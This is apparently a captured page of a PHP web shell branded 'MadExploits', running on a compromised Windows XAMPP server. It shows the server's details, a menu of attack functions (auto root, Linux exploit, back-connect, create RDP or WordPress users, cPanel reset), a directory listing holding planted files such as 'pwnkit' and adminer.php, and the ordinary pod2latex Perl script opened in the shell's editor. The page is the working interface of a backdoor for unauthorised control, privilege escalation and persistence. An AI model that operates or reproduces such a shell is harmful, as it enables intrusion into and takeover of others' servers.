Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.139
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
perl /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-rw-rw-
SOAPsh.bat
3.35
KB
-rwxrwxrwx
SOAPsh.pl
2.75
KB
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
bdf2gdfont.bat
5.26
KB
-rwxrwxrwx
bdf2gdfont.pl
4.75
KB
-rw-rw-rw-
chartex
5.67
KB
-rw-rw-rw-
chartex.bat
6.47
KB
-rwxrwxrwx
config_data
7.2
KB
-rw-rw-rw-
config_data.bat
7.73
KB
-rwxrwxrwx
corelist.bat
15.75
KB
-rwxrwxrwx
cpan
8.06
KB
-rw-rw-rw-
cpan-mirrors
4.18
KB
-rw-rw-rw-
cpan-mirrors.bat
5.1
KB
-rwxrwxrwx
cpan-outdated
8.85
KB
-rw-rw-rw-
cpan-outdated.bat
9.67
KB
-rwxrwxrwx
cpan.bat
9.16
KB
-rwxrwxrwx
cpan2dist
21.22
KB
-rw-rw-rw-
cpan2dist.bat
22.39
KB
-rwxrwxrwx
cpandb
6.6
KB
-rw-rw-rw-
cpandb.bat
7.37
KB
-rwxrwxrwx
cpanel_json_xs
9.75
KB
-rw-rw-rw-
cpanel_json_xs.bat
10.58
KB
-rwxrwxrwx
cpanfile-dump
3.45
KB
-rw-rw-rw-
cpanfile-dump.bat
4.08
KB
-rwxrwxrwx
cpanm
295.67
KB
-rw-rw-rw-
cpanm.bat
297.23
KB
-rwxrwxrwx
cpanp
3.22
KB
-rw-rw-rw-
cpanp-run-perl
459
B
-rw-rw-rw-
cpanp-run-perl.bat
990
B
-rwxrwxrwx
cpanp.bat
3.84
KB
-rwxrwxrwx
crc32
1.01
KB
-rw-rw-rw-
crc32.bat
1.57
KB
-rwxrwxrwx
dbicadmin
7
KB
-rw-rw-rw-
dbicadmin.bat
7.87
KB
-rwxrwxrwx
dbilogstrip
1.39
KB
-rw-rw-rw-
dbilogstrip.bat
1.89
KB
-rwxrwxrwx
dbiprof
6.31
KB
-rw-rw-rw-
dbiprof.bat
6.82
KB
-rwxrwxrwx
dbiproxy
5.44
KB
-rw-rw-rw-
dbiproxy.bat
5.95
KB
-rwxrwxrwx
enc2xs
40.68
KB
-rw-rw-rw-
enc2xs.bat
42.87
KB
-rwxrwxrwx
encguess
2.91
KB
-rw-rw-rw-
encguess.bat
3.8
KB
-rwxrwxrwx
exe_update.bat
4.71
KB
-rwxrwxrwx
exe_update.pl
4.05
KB
-rw-rw-rw-
exetype.bat
3.53
KB
-rwxrwxrwx
extract_vba
2.98
KB
-rw-rw-rw-
extract_vba.bat
3.62
KB
-rwxrwxrwx
factor.bat
3.77
KB
-rwxrwxrwx
factor.pl
3.16
KB
-rw-rw-rw-
findrule
3.24
KB
-rw-rw-rw-
findrule.bat
3.88
KB
-rwxrwxrwx
h2ph.bat
30.27
KB
-rwxrwxrwx
h2xs.bat
62.43
KB
-rwxrwxrwx
htmltree
1.28
KB
-rw-rw-rw-
htmltree.bat
1.81
KB
-rwxrwxrwx
hypnotoad
1.03
KB
-rw-rw-rw-
hypnotoad.bat
1.58
KB
-rwxrwxrwx
instmodsh
4.09
KB
-rw-rw-rw-
instmodsh.bat
5.03
KB
-rwxrwxrwx
json_pp
4.77
KB
-rw-rw-rw-
json_pp.bat
5.52
KB
-rwxrwxrwx
json_xs
6.84
KB
-rw-rw-rw-
json_xs.bat
7.6
KB
-rwxrwxrwx
kwalitee-metrics
2.34
KB
-rw-rw-rw-
kwalitee-metrics.bat
2.96
KB
-rwxrwxrwx
libgcc_s_seh-1.dll
74.5
KB
-rw-rw-rw-
libnetcfg.bat
16.88
KB
-rwxrwxrwx
libstdc++-6.dll
1.36
MB
-rw-rw-rw-
libwinpthread-1.dll
51
KB
-rw-rw-rw-
llw32helper.bat
4.8
KB
-rwxrwxrwx
llw32helper.pl
4.13
KB
-rw-rw-rw-
lwp-download
10.04
KB
-rw-rw-rw-
lwp-download.bat
10.88
KB
-rwxrwxrwx
lwp-dump
2.64
KB
-rw-rw-rw-
lwp-dump.bat
3.26
KB
-rwxrwxrwx
lwp-mirror
2.35
KB
-rw-rw-rw-
lwp-mirror.bat
2.96
KB
-rwxrwxrwx
lwp-request
15.81
KB
-rw-rw-rw-
lwp-request.bat
16.88
KB
-rwxrwxrwx
mech-dump
4.74
KB
-rw-rw-rw-
mech-dump.bat
5.44
KB
-rwxrwxrwx
minicpan
5.36
KB
-rw-rw-rw-
minicpan.bat
6.05
KB
-rwxrwxrwx
module-version
2.06
KB
-rw-rw-rw-
module-version.bat
2.65
KB
-rwxrwxrwx
mojo
408
B
-rw-rw-rw-
mojo.bat
953
B
-rwxrwxrwx
moose-outdated
427
B
-rw-rw-rw-
moose-outdated.bat
977
B
-rwxrwxrwx
morbo
2.15
KB
-rw-rw-rw-
morbo.bat
2.72
KB
-rwxrwxrwx
mymeta-cpanfile
2.7
KB
-rw-rw-rw-
mymeta-cpanfile.bat
3.32
KB
-rwxrwxrwx
nssm_32.exe
288
KB
-rwxrwxrwx
nssm_64.exe
323.5
KB
-rwxrwxrwx
package-stash-conflicts
463
B
-rw-rw-rw-
package-stash-conflicts.bat
1013
B
-rwxrwxrwx
parinstallppd
3.35
KB
-rw-rw-rw-
parinstallppd.bat
3.99
KB
-rwxrwxrwx
perl.exe
39
KB
-rwxrwxrwx
perl5.32.1.exe
39
KB
-rwxrwxrwx
perl532.dll
3.26
MB
-rw-rw-rw-
perlbug.bat
46.8
KB
-rwxrwxrwx
perldoc.bat
1016
B
-rwxrwxrwx
perlglob.bat
1.95
KB
-rwxrwxrwx
perlglob.exe
17
KB
-rwxrwxrwx
perlivp.bat
11.72
KB
-rwxrwxrwx
perlthanks.bat
46.8
KB
-rwxrwxrwx
perltidy
175.27
KB
-rw-rw-rw-
perltidy.bat
180.32
KB
-rwxrwxrwx
pgplet
10.37
KB
-rw-rw-rw-
pgplet.bat
11.22
KB
-rwxrwxrwx
piconv
8.07
KB
-rw-rw-rw-
piconv.bat
9.13
KB
-rwxrwxrwx
pkg-config
46.94
KB
-rw-rw-rw-
pkg-config.bat
49.2
KB
-rwxrwxrwx
pl2bat.bat
11.49
KB
-rwxrwxrwx
pl2bat.pl
10.4
KB
-rw-rw-rw-
pl2pm.bat
5.56
KB
-rwxrwxrwx
pler
540
B
-rw-rw-rw-
pler.bat
1.07
KB
-rwxrwxrwx
pm-uninstall
820
B
-rw-rw-rw-
pm-uninstall.bat
1.28
KB
-rwxrwxrwx
pod2html.bat
5.02
KB
-rwxrwxrwx
pod2latex
10.39
KB
-rw-rw-rw-
pod2latex.bat
10.92
KB
-rwxrwxrwx
pod2man.bat
15.42
KB
-rwxrwxrwx
pod2text.bat
11.29
KB
-rwxrwxrwx
pod2usage
4.16
KB
-rw-rw-rw-
pod2usage.bat
4.67
KB
-rwxrwxrwx
pod_cover
1.37
KB
-rw-rw-rw-
pod_cover.bat
1.94
KB
-rwxrwxrwx
podchecker
3.7
KB
-rw-rw-rw-
podchecker.bat
4.21
KB
-rwxrwxrwx
podselect
2.56
KB
-rw-rw-rw-
podselect.bat
3.07
KB
-rwxrwxrwx
ppd2par
4.64
KB
-rw-rw-rw-
ppd2par.bat
5.32
KB
-rwxrwxrwx
ppm.bat
35.53
KB
-rwxrwxrwx
ppm.pl
33.99
KB
-rw-rw-rw-
primes.bat
21.45
KB
-rwxrwxrwx
primes.pl
20.34
KB
-rw-rw-rw-
prove.bat
14.07
KB
-rwxrwxrwx
ptar
3.38
KB
-rw-rw-rw-
ptar.bat
4.28
KB
-rwxrwxrwx
ptardiff
2.48
KB
-rw-rw-rw-
ptardiff.bat
3.35
KB
-rwxrwxrwx
ptargrep
4.19
KB
-rw-rw-rw-
ptargrep.bat
5.14
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rw-rw-rw-
runperl.bat
2.72
KB
-rwxrwxrwx
scan-perl-prereqs-nqlite
5.28
KB
-rw-rw-rw-
scan-perl-prereqs-nqlite.bat
6
KB
-rwxrwxrwx
search.bat
55.83
KB
-rwxrwxrwx
shasum.bat
10.48
KB
-rwxrwxrwx
splain.bat
20.43
KB
-rwxrwxrwx
streamzip
5.45
KB
-rw-rw-rw-
streamzip.bat
6.17
KB
-rwxrwxrwx
stubmaker.bat
4.01
KB
-rwxrwxrwx
stubmaker.pl
3.35
KB
-rw-rw-rw-
test-yaml
1017
B
-rw-rw-rw-
test-yaml.bat
1.56
KB
-rwxrwxrwx
tpage
8.85
KB
-rw-rw-rw-
tpage.bat
9.64
KB
-rwxrwxrwx
ttree
38.21
KB
-rw-rw-rw-
ttree.bat
39.9
KB
-rwxrwxrwx
use-devel-checklib
2.7
KB
-rw-rw-rw-
use-devel-checklib.bat
3.31
KB
-rwxrwxrwx
whirlpoolsum
4.93
KB
-rw-rw-rw-
whirlpoolsum.bat
5.67
KB
-rwxrwxrwx
wperl.exe
39
KB
-rwxrwxrwx
xml_grep
13.32
KB
-rw-rw-rw-
xml_grep.bat
14.3
KB
-rwxrwxrwx
xml_merge
3.89
KB
-rw-rw-rw-
xml_merge.bat
4.55
KB
-rwxrwxrwx
xml_pp
7.82
KB
-rw-rw-rw-
xml_pp.bat
8.61
KB
-rwxrwxrwx
xml_spellcheck
6.34
KB
-rw-rw-rw-
xml_spellcheck.bat
7.1
KB
-rwxrwxrwx
xml_split
21.13
KB
-rw-rw-rw-
xml_split.bat
22.27
KB
-rwxrwxrwx
xsubpp.bat
5.78
KB
-rwxrwxrwx
zipdetails
56.01
KB
-rw-rw-rw-
zipdetails.bat
58.95
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pod2latex.bat
@rem = '--*-Perl-*-- @set "ErrorLevel=" @if "%OS%" == "Windows_NT" @goto WinNT @perl -x -S "%0" %1 %2 %3 %4 %5 %6 %7 %8 %9 @set ErrorLevel=%ErrorLevel% @goto endofperl :WinNT @perl -x -S %0 %* @set ErrorLevel=%ErrorLevel% @if NOT "%COMSPEC%" == "%SystemRoot%\system32\cmd.exe" @goto endofperl @if %ErrorLevel% == 9009 @echo You do not have Perl in your PATH. @goto endofperl @rem '; #!C:\xampp\perl\bin\perl.exe #line 30 eval 'exec C:\xampp\perl\bin\perl.exe -S $0 ${1+"$@"}' if $running_under_some_shell; # pod2latex conversion program use strict; use Pod::LaTeX; use Pod::Find qw/ pod_find /; use Pod::Usage; use Getopt::Long; use File::Basename; use Symbol; my $VERSION = "1.01"; # return the entire contents of a text file # whose name is given as argument sub _get { my $fn = shift; my $infh = gensym; open $infh, $fn or die "Could not open file $fn: $!\n"; local $/; return <$infh>; } # Read command line arguments my %options = ( "help" => 0, "man" => 0, "sections" => [], "full" => 0, "out" => undef, "verbose" => 0, "modify" => 0, "h1level" => 1, # section is equivalent to H1 "preamble" => [], "postamble" => [], ); # "prefile" is just like "preamble", but the argument # comes from the file named by the argument $options{"prefile"} = sub { shift; push @{$options{"preamble"}}, _get(shift) }; # the same between "postfile" and "postamble" $options{"postfile"} = sub { shift; push @{$options{"postamble"}}, _get(shift) }; GetOptions(\%options, "help", "man", "verbose", "full", "sections=s@", "out=s", "modify", "h1level=i", "preamble=s@", "postamble=s@", "prefile=s", "postfile=s" ) || pod2usage(2); pod2usage(1) if ($options{help}); pod2usage(-verbose => 2) if ($options{man}); # Read all the files from the command line my @files = @ARGV; # Now find which ones are real pods and convert # directories to their contents. # Extract the pods from each arg since some of them might # be directories # This is not as efficient as using pod_find to search through # everything at once but it allows us to preserve the order # supplied by the user my @pods; foreach my $arg (@files) { my %pods = pod_find($arg); push(@pods, sort keys %pods); } # Abort if nothing to do if ($#pods == -1) { warn "None of the supplied Pod files actually exist\n"; exit; } # Only want to override the preamble and postamble if we have # been given values. my %User; $User{UserPreamble} = join("\n", @{$options{'preamble'}}) if ($options{preamble} && @{$options{preamble}}); $User{UserPostamble} = join("\n", @{$options{'postamble'}}) if ($options{postamble} && @{$options{postamble}}); # If $options{'out'} is set we are processing to a single output file my $multi_documents; if (exists $options{'out'} && defined $options{'out'}) { $multi_documents = 0; } else { $multi_documents = 1; } # If the output file is not specified it is assumed that # a single output file is required per input file using # a .tex extension rather than any existing extension if ($multi_documents) { # Case where we just generate one input per output foreach my $pod (@pods) { if (-f $pod) { my $output = $pod; $output = basename($output, '.pm', '.pod','.pl') . '.tex'; # Create a new parser object my $parser = new Pod::LaTeX( AddPreamble => $options{'full'}, AddPostamble => $options{'full'}, MakeIndex => $options{'full'}, TableOfContents => $options{'full'}, ReplaceNAMEwithSection => $options{'modify'}, UniqueLabels => $options{'modify'}, Head1Level => $options{'h1level'}, LevelNoNum => $options{'h1level'} + 1, %User, ); # Select sections if supplied $parser->select(@{ $options{'sections'}}) if @{$options{'sections'}}; # Derive the input file from the output file $parser->parse_from_file($pod, $output); print "Written output to $output\n" if $options{'verbose'}; } else { warn "File $pod not found\n"; } } } else { # Case where we want everything to be in a single document # Need to open the output file ourselves my $output = $options{'out'}; $output .= '.tex' unless $output =~ /\.tex$/; # Use auto-vivified file handle in perl 5.6 my $outfh = gensym; open ($outfh, ">$output") || die "Could not open output file: $!\n"; # Flag to indicate whether we have converted at least one file # indicates how many files have been converted my $converted = 0; # Loop over the input files foreach my $pod (@pods) { if (-f $pod) { warn "Converting $pod\n" if $options{'verbose'}; # Open the file (need the handle) # Use auto-vivified handle in perl 5.6 my $podfh = gensym; open ($podfh, "<$pod") || die "Could not open pod file $pod: $!\n"; # if this is the first file to be converted we may want to add # a preamble (controlled by command line option) my $preamble = 0; $preamble = 1 if ($converted == 0 && $options{'full'}); # if this is the last file to be converted may want to add # a postamble (controlled by command line option) # relies on a previous pass to check existence of all pods we # are converting. my $postamble = ( ($converted == $#pods && $options{'full'}) ? 1 : 0 ); # Open parser object # May want to start with a preamble for the first one and # end with an index for the last my $parser = new Pod::LaTeX( MakeIndex => $options{'full'}, TableOfContents => $preamble, ReplaceNAMEwithSection => $options{'modify'}, UniqueLabels => $options{'modify'}, StartWithNewPage => $options{'full'}, AddPreamble => $preamble, AddPostamble => $postamble, Head1Level => $options{'h1level'}, LevelNoNum => $options{'h1level'} + 1, %User ); # Store the file name for error messages # This is a kluge that breaks the data hiding of the object $parser->{_INFILE} = $pod; # Select sections if supplied $parser->select(@{ $options{'sections'}}) if @{$options{'sections'}}; # Parse it $parser->parse_from_filehandle($podfh, $outfh); # We have converted at least one file $converted++; } else { warn "File $pod not found\n"; } } # Should unlink the file if we didn't convert anything! # dont check for return status of unlink # since there is not a lot to be done if the unlink failed # and the program does not rely upon it. unlink "$output" unless $converted; # If verbose warn "Converted $converted files\n" if $options{'verbose'}; } exit; __END__ =head1 NAME pod2latex - convert pod documentation to latex format =head1 SYNOPSIS pod2latex *.pm pod2latex -out mytex.tex *.pod pod2latex -full -sections 'DESCRIPTION|NAME' SomeDir pod2latex -prefile h.tex -postfile t.tex my.pod =head1 DESCRIPTION C<pod2latex> is a program to convert POD format documentation (L<perlpod>) into latex. It can process multiple input documents at a time and either generate a latex file per input document or a single combined output file. =head1 OPTIONS AND ARGUMENTS This section describes the supported command line options. Minimum matching is supported. =over 4 =item B<-out> Name of the output file to be used. If there are multiple input pods it is assumed that the intention is to write all translated output into a single file. C<.tex> is appended if not present. If the argument is not supplied, a single document will be created for each input file. =item B<-full> Creates a complete C<latex> file that can be processed immediately (unless C<=for/=begin> directives are used that rely on extra packages). Table of contents and index generation commands are included in the wrapper C<latex> code. =item B<-sections> Specify pod sections to include (or remove if negated) in the translation. See L<Pod::Select/"SECTION SPECIFICATIONS"> for the format to use for I<section-spec>. This option may be given multiple times on the command line.This is identical to the similar option in the C<podselect()> command. =item B<-modify> This option causes the output C<latex> to be slightly modified from the input pod such that when a C<=head1 NAME> is encountered a section is created containing the actual pod name (rather than B<NAME>) and all subsequent C<=head1> directives are treated as subsections. This has the advantage that the description of a module will be in its own section which is helpful for including module descriptions in documentation. Also forces C<latex> label and index entries to be prefixed by the name of the module. =item B<-h1level> Specifies the C<latex> section that is equivalent to a C<H1> pod directive. This is an integer between 0 and 5 with 0 equivalent to a C<latex> chapter, 1 equivalent to a C<latex> section etc. The default is 1 (C<H1> equivalent to a latex section). =item B<-help> Print a brief help message and exit. =item B<-man> Print the manual page and exit. =item B<-verbose> Print information messages as each document is processed. =item B<-preamble> A user-supplied preamble for the LaTeX code. Multiple values are supported and appended in order separated by "\n". See B<-prefile> for reading the preamble from a file. =item B<-postamble> A user supplied postamble for the LaTeX code. Multiple values are supported and appended in order separated by "\n". See B<-postfile> for reading the postamble from a file. =item B<-prefile> A user-supplied preamble for the LaTeX code to be read from the named file. Multiple values are supported and appended in order. See B<-preamble>. =item B<-postfile> A user-supplied postamble for the LaTeX code to be read from the named file. Multiple values are supported and appended in order. See B<-postamble>. =back =head1 BUGS Known bugs are: =over 4 =item * Cross references between documents are not resolved when multiple pod documents are converted into a single output C<latex> file. =item * Functions and variables are not automatically recognized and they will therefore not be marked up in any special way unless instructed by an explicit pod command. =back =head1 SEE ALSO L<Pod::LaTeX> =head1 AUTHOR Tim Jenness E<lt>tjenness@cpan.orgE<gt> This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. Copyright (C) 2000, 2003, 2004 Tim Jenness. All Rights Reserved. =cut __END__ :endofperl @set "ErrorLevel=" & @goto _undefined_label_ 2>NUL || @"%COMSPEC%" /d/c @exit %ErrorLevel%
Close